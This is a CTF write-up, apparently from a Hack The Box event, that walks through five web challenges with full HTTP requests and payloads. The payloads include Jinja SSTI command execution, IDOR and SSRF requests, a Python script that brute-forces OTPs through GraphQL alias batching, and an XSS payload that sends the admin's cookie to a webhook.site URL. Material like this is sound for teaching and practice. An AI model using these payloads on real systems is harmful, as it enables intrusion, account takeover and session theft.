Try   HackMD

Description

I participated in this CTF competition with Heroes Cyber Security (HCS), the cybersecurity community team from Institut Teknologi Sepuluh Nopember (ITS).

This write-up covers all Website Exploitation challenges. All of the challenges were tackled using black-box testing methods only, without any source code access or internal hints.

We managed to secure 2nd place out of 1322 teams.

Special thanks to @HyggeHacylon and @rootkids, who participated with me.
Also, thanks to Hack The Box for organizing this event.

JinjaCare (Very Easy)

Jinjacare is a web application designed to help citizens manage and access their COVID-19 vaccination records. The platform allows users to store their vaccination history and generate digital certificates. They've asked you to hunt for any potential security issues in their application and retrieve the flag stored in their site.

TL;DR

Jinja SSTI to RCE.

Solve

We've got a website, that we could do a register.

image

After that, we tried to input some test payload {{7*7}} one the fullname column.

image alt

Check at our dashboard, there a feature to download the certificate.

image alt

Download the certificate, then we could see the payload is working that the fullname is changed to 49.

image alt

Then we use this payload to listing the directory.

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

image alt

We see the flag, and get it.

{{config.__class__.__init__.__globals__['os'].popen('cat /fla*').read()}}

image alt

HTB{v3ry_e4sy_sst1_r1ght?_7e648e055a049c36e9ccc5e2c7811db5}

NeoVault (Very Easy)

Neovault is a trusted banking application that allows users to effortlessly transfer funds to one another and conveniently download their transaction history. We invite you to explore the application for any potential vulnerabilities and uncover the flag hidden within its depths.

TL;DR

IDOR.

Solve

We need to register to see the API endpoint.

image alt

After that, you will notice we've got a transfer transaction from user neo_system.

image alt

By using this API endpoint, we could get the _id.

GET /api/v2/auth/inquire?username=neo_system HTTP/1.1
Host: 94.237.59.174:38845
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: */*
Referer: http://94.237.59.174:38845/dashboard/transfer
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODE2NCwiZXhwIjoxNzUxMDgxNzY0fQ.HlxKChYffj4JD6YFkVUgAVsU6mLRnDmPACHz8Hg4V18
Connection: close

image alt

Then, i found the v1 endpoint for downloading transactions history like this.

POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.59.174:38845
Content-Length: 4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.59.174:38845
Referer: http://94.237.59.174:38845/dashboard/transactions
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODY5MiwiZXhwIjoxNzUxMDgyMjkyfQ.3t_U6bIbxStwj9eE286TIaF1YkqveIlA4euKcaEkwQ0
Connection: close

{}

image alt

We use the _id of neo_system user to download the transactions history.
And we've got the history there a user named user_with_flag.

image alt

By using the /api/v2/auth/inquire?username= endpoint, we've could obtain the _id of user user_with_flag

image alt

Then create this request, to obtain the user_with_flag transactions history.

POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.59.174:38845
Content-Length: 43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.59.174:38845
Referer: http://94.237.59.174:38845/dashboard/transactions
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODY5MiwiZXhwIjoxNzUxMDgyMjkyfQ.3t_U6bIbxStwj9eE286TIaF1YkqveIlA4euKcaEkwQ0
Connection: close

{
  "_id": "685f54584fd2e27ef18625cc"
}

image alt

HTB{n0t_s0_3asy_1d0r_42de8d73f2536a5e978b9183e02ca7cb}

CitiSmart (Easy)

Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths.

TL;DR

Hidden endpoint to SSRF.

Solve

We've got a login page of the website.

image alt

After that, we do some inspect on the javascript file.

image alt

We make a request at the endpoint.

GET /api/dashboard/metrics/ HTTP/1.1
Host: 94.237.54.192:40907
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"1f2-QM+DzI0DmIlXc8i/6FUgt9TI7S8"
Connection: close

But we've got a response like this.

image alt

Which is we need to do login, to execute those endpoints.
The unique case is, there some broken authentication likely that even our password is wrong but username contains admin email, we still get the JWT Token.

image alt

At the /api/dashboard/endpoints/, we see there are like 4 endpoints.
After that we do some little scanning and found there CouchDB service at port 5984.

We make a request like this.

POST /api/dashboard/endpoints/ HTTP/1.1
Host: 94.237.54.192:40907
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImFkbWluIjpmYWxzZSwiaWF0IjoxNzUxMDkxNTM3LCJleHAiOjE3NTEwOTUxMzd9.7h8SsmlsKPbh22TXvbLon73ORnnahs0GeMKgfKvhhXI
If-None-Match: W/"1f2-QM+DzI0DmIlXc8i/6FUgt9TI7S8"
Connection: close
Content-Type: application/json
Content-Length: 66

{
    "url":"http://127.0.0.1:5984/citismart/FLAG?",
    "sector":"a"
}

Then visit the /api/dashboard/metrics/ to see the flag.

image alt

HTB{sm4rt_cit1_but_n0t_s3cur3_4bf0b2bde948bbf36d579b0820fe971d}

SpeedNet (Easy)

Speednet is an Internet Service Provider platform that enables users to purchase internet services. We invite you to participate in our bug bounty program to identify any potential vulnerabilities within the application and retrieve the flag hidden on the site. For your testing, we have provided additional email services. Please find the details below:
Email Site: http://IP:PORT/emails/ Email Address: test@email.htb

TL;DR

Graphql aliases abuse lead to account takeover.

Solve

We've given the endpoints of emails.

image alt

We tried to register the account with email test@email.htb.

image alt

Then we do some query inspection at the graphql endpoint.

POST /graphql HTTP/1.1
Host: 94.237.57.211:45678
Content-Length: 91
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImlhdCI6MTc1MTA5MzcyNSwiZXhwIjoxNzUxMDk3MzI1fQ.DSQSd4qVobZ305CeOxyCg6Hp30F1_QveRUWOl9iVQXg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.57.211:45678
Referer: http://94.237.57.211:45678/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{
  "query": "query IntrospectionQuery { __schema { types { name fields { name } } } }"
}

We've got some interesting mutation that named devForgotPassword.

image alt

Next, we do some little IDOR to leak the admin email for reset password.

POST /graphql HTTP/1.1
Host: 94.237.57.211:45678
Content-Length: 145
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImlhdCI6MTc1MTA5MzcyNSwiZXhwIjoxNzUxMDk3MzI1fQ.DSQSd4qVobZ305CeOxyCg6Hp30F1_QveRUWOl9iVQXg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.57.211:45678
Referer: http://94.237.57.211:45678/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{
  "query": "query { userProfile(userId: 1) { id email firstName lastName username phoneNumber address plan planStatus trialEndDate } }"
}

The admin email is obtained admin@speednet.htb.

image alt

We do reset password on the admin account.

POST /graphql HTTP/1.1
Host: 94.237.120.202:37497
Content-Length: 98
Authorization: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.120.202:37497
Referer: http://94.237.120.202:37497/login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{
  "query": "mutation DevForgotPassword { devForgotPassword(email: \"admin@speednet.htb\") }"
}

Got the reset token.

image alt

Changed the password to hacked.

POST /graphql HTTP/1.1
Host: 94.237.120.202:37497
Content-Length: 119
Authorization: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.120.202:37497
Referer: http://94.237.120.202:37497/login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{
  "query": "mutation { resetPassword(token: \"4ef9b7e8-ce20-46d1-9dc4-d43cd44b4e18\", newPassword: \"hacked\") }"
}

We do login, but unfortunate got the OTP verification.

image alt

After stuck long time, i tried to activate the OTP on the test@email.htb account, and there are 4 digits which is possible to brute.

image alt

But the bad news is, we can't brute it because there are rate limitting request on the website.
We got stuck again :joy:

Then we look the reference, there are graphql alias query
https://inigo.io/blog/defeating_controls_with_alias-based_query_batching
That it's possible to brute it, by alias batching on the graphql endpoint.

image alt

Next, we request to send the OTP.

image alt

We build a automation script like this, that there will batching from 1-499, 500-999, and goes on.

import httpx import argparse import time class Exploiter: def __init__(self, target: str): self.client = httpx.Client(base_url=target, timeout=10.0) def verify_token(self, token: str, start: int, end: int): query = "mutation {\n" for i in range(start, end + 1): otp = f"{i:04d}" query += f' verify{i}: verifyTwoFactor(token: "{token}", otp: "{otp}") {{\n' query += " token\n" query += " }\n" query += "}\n" return self.client.post("/graphql", json={"query": query}) def exploit(self): token = "e92533ce-f6b0-4d38-94c3-2692e6eafcff" step = 499 for start in range(1, 10000, step): end = min(start + step - 1, 9999) print(f"[+] Trying range: {start}-{end}") res = self.verify_token(token, start, end) if "token" in res.text and "GRAPHQL_VALIDATION_FAILED" not in res.text: print("[+] Possible match:") print(res.text) return time.sleep(1) # optional delay @staticmethod def parse_args(): parser = argparse.ArgumentParser(description="Exploit a GraphQL 2FA endpoint.") parser.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://host:port)") return parser.parse_args() if __name__ == "__main__": args = Exploiter.parse_args() exploiter = Exploiter(args.target) exploiter.exploit()

We've got the correct OTP.

image alt

Login as admin with the token.

image alt

HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_cd416f6e9c20434fc2a859341ad4af81}

Sattrack (Medium)

Welcome to the Sattrack Bug Bounty Invitational for Authorized Users! Sattrack is a premier platform dedicated to monitoring satellite data, exclusively available to our selected authorized partners. We invite you to participate in our limited bug bounty program, aimed at identifying and addressing any security vulnerabilities within our application. Your contributions are invaluable in helping us maintain the integrity and security of our services.
You may use partner@rockyou.xyz:partn3r123 as a valid credentials.
To ensure optimal site performance, we have established a dedicated support page at /report. Here, you can submit the URLs of any issues (non-security related) you encounter, and our admin team will promptly investigate and provide assistance.

TL;DR

Prototype Pollution XSS by JSON Escaping.

Solve

We've got the partner account, and we tried login.
The interesting is we got the /partner/share endpoint that's likely exploitable since the reference is JSON Escaping.

image alt
image alt

We even got the admin bot, so we sure this are some XSS challenge.

image alt

Error message at the login is the key to do prototype pollution and using the /partner/share endpoint.
By making this payload.

http://94.237.121.185:44578/login?message={%22__proto__%22:{%22JS_FILES%22:[%22/partner/share?type=\%22};alert()//%22]}}

The alert is fired :fire: .

image alt

Send the url payload like this to admin bot.

http://127.0.0.1/login?message={%22__proto__%22:{%22JS_FILES%22:[%22/partner/share?type=\%22};fetch(%27https://webhook.site/7bb0ffea-8d85-4450-929d-9388efa8e3a1?%27%25252Bdocument.cookie)//%22]}}

Got the admin token.

image alt

Login with admin account.

image alt

HTB{cl13nt_s1d3_pp_4r3_d4ng3r0us_b9be715ac1a0e7abae138973117b053a}